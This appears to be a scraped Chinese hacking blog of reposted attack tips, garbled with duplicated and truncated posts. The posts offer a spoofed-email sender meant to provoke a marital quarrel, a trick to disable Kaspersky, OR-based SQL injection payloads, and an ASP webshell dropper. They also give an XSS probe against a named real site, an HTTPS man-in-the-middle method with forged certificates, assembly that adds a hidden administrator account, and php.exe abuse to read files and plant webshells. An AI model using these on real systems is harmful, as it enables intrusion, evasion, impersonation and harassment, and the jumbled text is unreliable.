Sep
30
注：忘记从哪弄的了，刚转过空间，
这篇文章完全没技术含量L
记得若干年前第一次看《黑客X档案》的时候，有篇名为《社会工程学破解Email》的文章，就是利用邮件冒充管理员里骗取用户密码。当时真的太菜，居然真的照着书上一个一个字符的去打HTML……呵呵，心酸往事不提。
言归正传，发匿名邮件完全有益身心健康的，比如剑心那小子老是剥削我，我心里不爽就发邮件骂他，为了不让他知道我是谁就伪造一个邮件地址咯，再狠点，嗯，邮件地址就写成他老婆的，然后一边呆着看他们吵架（嘿嘿，好狠毒啊）。
基于此，写了一个利用Jmail组件发匿名邮件的ASP代码，前提是你的SMTP服务器没有验证发件人地址才是，很多虚拟主机的SMTP服务器就可以的。
代码如下：
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
这篇文章完全没技术含量L
记得若干年前第一次看《黑客X档案》的时候，有篇名为《社会工程学破解Email》的文章，就是利用邮件冒充管理员里骗取用户密码。当时真的太菜，居然真的照着书上一个一个字符的去打HTML……呵呵，心酸往事不提。
言归正传，发匿名邮件完全有益身心健康的，比如剑心那小子老是剥削我，我心里不爽就发邮件骂他，为了不让他知道我是谁就伪造一个邮件地址咯，再狠点，嗯，邮件地址就写成他老婆的，然后一边呆着看他们吵架（嘿嘿，好狠毒啊）。
基于此，写了一个利用Jmail组件发匿名邮件的ASP代码，前提是你的SMTP服务器没有验证发件人地址才是，很多虚拟主机的SMTP服务器就可以的。
代码如下：
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
Sep
30
作者:雪狐
注：可能对现在的卡巴7.0不管用了，我没试。
[code]
Private Sub Form_Load()
Date = Date - 5000
End Sub
Private Sub Timer1_Timer()
Date = Date + 5000
End
End Sub
[code]
很简单的几句话,timer设置15秒即可!
运行程序后日期由正确的日期减去5000天,然后经过15秒后又加上5000天!恢复了原来的时间!
卡巴在这个15秒内停止保护!!
呵呵
很爽了,比网上流行的bat写的好的没法说了!
注：可能对现在的卡巴7.0不管用了，我没试。
[code]
Private Sub Form_Load()
Date = Date - 5000
End Sub
Private Sub Timer1_Timer()
Date = Date + 5000
End
End Sub
[code]
很简单的几句话,timer设置15秒即可!
运行程序后日期由正确的日期减去5000天,然后经过15秒后又加上5000天!恢复了原来的时间!
卡巴在这个15秒内停止保护!!
呵呵
很爽了,比网上流行的bat写的好的没法说了!
Sep
30
来源：绝对零度blog
记得一年前火狐有一位朋友问,如果一个站过滤了and和"'"的话，改怎么注入啊？当时我随口说了句"or注入"，后来又一次看贴的时候，看到他问我该怎么利用呢？我就写了几个简单的语句给他，叫他自己变换，他很感激我，还说网上没有这种方法。我到网上查了查，还真没有or注入专题呢（or 1=1除外），呵呵，所以，一年后的今天，就有了这篇文章。
我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点，我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面，我们再来测试or 1=2。返回的是正常的页面，说明猜测正确的时候是错误，猜测错误的时候是正常，这就是真正的"假是真时真是假"，比lake2大哥哥的IP欺骗更经典哦，呵呵。
我们来构造测试语句：
vpro.asp?id=1 or exists(select * from admin)
返回错误页面，说明存在admin表我们来换一个表试试！
vpro.asp?id=1 or exists(select * from n0h4ck)
说明不存在n0h4ck这个表。
我们继续来，构造语句
vpro.asp?id=1 or exists(select admin from admin)
返回or 1=1的页面，说明admin表存在admin字段。
vpro.asp?id=1 or exists(select padd from admin)
返回or 1=2的页面，说明admin表不存在padd字段。
我们现在开始猜测数据了，
记得一年前火狐有一位朋友问,如果一个站过滤了and和"'"的话，改怎么注入啊？当时我随口说了句"or注入"，后来又一次看贴的时候，看到他问我该怎么利用呢？我就写了几个简单的语句给他，叫他自己变换，他很感激我，还说网上没有这种方法。我到网上查了查，还真没有or注入专题呢（or 1=1除外），呵呵，所以，一年后的今天，就有了这篇文章。
我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点，我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面，我们再来测试or 1=2。返回的是正常的页面，说明猜测正确的时候是错误，猜测错误的时候是正常，这就是真正的"假是真时真是假"，比lake2大哥哥的IP欺骗更经典哦，呵呵。
我们来构造测试语句：
vpro.asp?id=1 or exists(select * from admin)
返回错误页面，说明存在admin表我们来换一个表试试！
vpro.asp?id=1 or exists(select * from n0h4ck)
说明不存在n0h4ck这个表。
我们继续来，构造语句
vpro.asp?id=1 or exists(select admin from admin)
返回or 1=1的页面，说明admin表存在admin字段。
vpro.asp?id=1 or exists(select padd from admin)
返回or 1=2的页面，说明admin表不存在padd字段。
我们现在开始猜测数据了，
Sep
30
from: 0day blog
以下是代码片段：
<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="gb2312"%>
<%s.writetext request("d")%>
<%s.SaveToFile server.mappath("j.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=d cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>
写入木马后直接访问根目录下的 j.asp 就行了～～··
以下是代码片段：
<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="gb2312"%>
<%s.writetext request("d")%>
<%s.SaveToFile server.mappath("j.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=d cols=80 rows=10 width=32></textarea>
<input type=submit>
</form>
写入木马后直接访问根目录下的 j.asp 就行了～～··
Sep
30
面对九酷强大的音乐网站，有点害怕！不过再大的网站也有bug的时候，这是我对它的跨站测试：
测试代码:
测试代码:
[url]http://www.jiuku.com/music/s/?Key="><script>alert("woyigui")</script><"[/url]
Sep
30
by 云舒
2007-09-29
http://www.ph4nt0m.org
这篇文章主要是介绍一些如何进行中间人攻击，包括两部分，第一部分是伪造证书，第二部分就是中间人转发数据了。作为中间人之前，需要使用DNS欺骗将域名解析到中间人的机器上面。HTTPS中间人攻击对自己签发的证书比较有效，比如xfocus这样的。因为本来就会出现证书警告，而向yahoo， google等网站，是权威机构发布的证书，伪造了之后会出现安全警告，不过我想白痴的用户还是很多吧。另外，这种劫持是只能在用户端攻击用户的，和服务器没啥关系。
先说说伪造证书的方法。首先使用openssl来生成一个证书，我这里生成了一个example.crt和example.key两个，保护密码为 1234。然后连接到真实的HTTPS服务器，获取真正的证书。再对开始伪造的证书进行修改，将伪造证书的几个字段改成和真实服务器的一样，增加迷惑性。
2007-09-29
http://www.ph4nt0m.org
这篇文章主要是介绍一些如何进行中间人攻击，包括两部分，第一部分是伪造证书，第二部分就是中间人转发数据了。作为中间人之前，需要使用DNS欺骗将域名解析到中间人的机器上面。HTTPS中间人攻击对自己签发的证书比较有效，比如xfocus这样的。因为本来就会出现证书警告，而向yahoo， google等网站，是权威机构发布的证书，伪造了之后会出现安全警告，不过我想白痴的用户还是很多吧。另外，这种劫持是只能在用户端攻击用户的，和服务器没啥关系。
先说说伪造证书的方法。首先使用openssl来生成一个证书，我这里生成了一个example.crt和example.key两个，保护密码为 1234。然后连接到真实的HTTPS服务器，获取真正的证书。再对开始伪造的证书进行修改，将伪造证书的几个字段改成和真实服务器的一样，增加迷惑性。
Sep
30
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;code by asm http://www.asm32.cn/
;2007-9-29
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
include kernel32.inc
include Netapi32.inc
includelib user32.lib
includelib kernel32.lib
includelib Netapi32.lib
.data?
oUserInfo USER_INFO_1<?>
oUser LOCALGROUP_MEMBERS_INFO_3 <?>
dwErr DWORD ?
.data
szUser dw "a","s","m",0
szPass dw "p","a","s","s",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
.code
start:
invoke RtlZeroMemory,addr oUserInfo,sizeof oUserInfo
push offset szUser
pop oUserInfo.usri1_name
push offset szPass
pop oUserInfo.usri1_password
mov oUserInfo.usri1_priv,USER_PRIV_USER
mov oUserInfo.usri1_flags,UF_NORMAL_ACCOUNT
invoke NetUserAdd,NULL, 1,addr oUserInfo,addr dwErr
push oUserInfo.usri1_name
pop oUser.lgrmi3_domainandname
invoke NetLocalGroupAddMembers,NULL,addr szAdministrators,3,addr oUser,1
invoke ExitProcess,0
end start
Sep
30
对于安装在windows下面的php，需要php.exe执行文件进行php解释，不过php.exe将提交给它的所有文件都解释为php文件，而不判断它的类型，可以通过这个漏洞进行网站攻击。
比如一个apache的网站，安装在windows下面，刚好它的配置文件设置得不够安全，可以使用/php/php.exe访问到php.exe文件（直接输入这个不好，可能引起服务器出现一点点问题，最好使用/php/php.exe?c:\boot.ini)，那样就可以使用 /php/php.exe?c:\boot.ini看到服务器的操作系统。如果知道了apache的安装路径，就可以直接看apache的配置文件，知道了mysql的数据库安装路径的话，可以直接下载服务器上的数据库。
webshell 的植入：如果网站具有论坛之类的社区，又允许上传图片（可以上传文件就行了），可以直接写好一个php文件，直接把扩展名改为.gif，上传，然后利用 /php/php.exe?刚刚上传文件在服务器上的路径，就可以执行刚刚上传的php文件代码。有些论坛把php直接改为gif会判断说非法的gif文件，是因为判断了gif文件头，可以把php代码嵌入到gif文件头后面，这样就可以上传了。不过执行时看不到结果，因为ie认为这是一幅图片，所以没有显示结果，可以使用php代码建立一个新的php文件（webshell），然后访问新的php文件就可以。
比如一个apache的网站，安装在windows下面，刚好它的配置文件设置得不够安全，可以使用/php/php.exe访问到php.exe文件（直接输入这个不好，可能引起服务器出现一点点问题，最好使用/php/php.exe?c:\boot.ini)，那样就可以使用 /php/php.exe?c:\boot.ini看到服务器的操作系统。如果知道了apache的安装路径，就可以直接看apache的配置文件，知道了mysql的数据库安装路径的话，可以直接下载服务器上的数据库。
webshell 的植入：如果网站具有论坛之类的社区，又允许上传图片（可以上传文件就行了），可以直接写好一个php文件，直接把扩展名改为.gif，上传，然后利用 /php/php.exe?刚刚上传文件在服务器上的路径，就可以执行刚刚上传的php文件代码。有些论坛把php直接改为gif会判断说非法的gif文件，是因为判断了gif文件头，可以把php代码嵌入到gif文件头后面，这样就可以上传了。不过执行时看不到结果，因为ie认为这是一幅图片，所以没有显示结果，可以使用php代码建立一个新的php文件（webshell），然后访问新的php文件就可以。
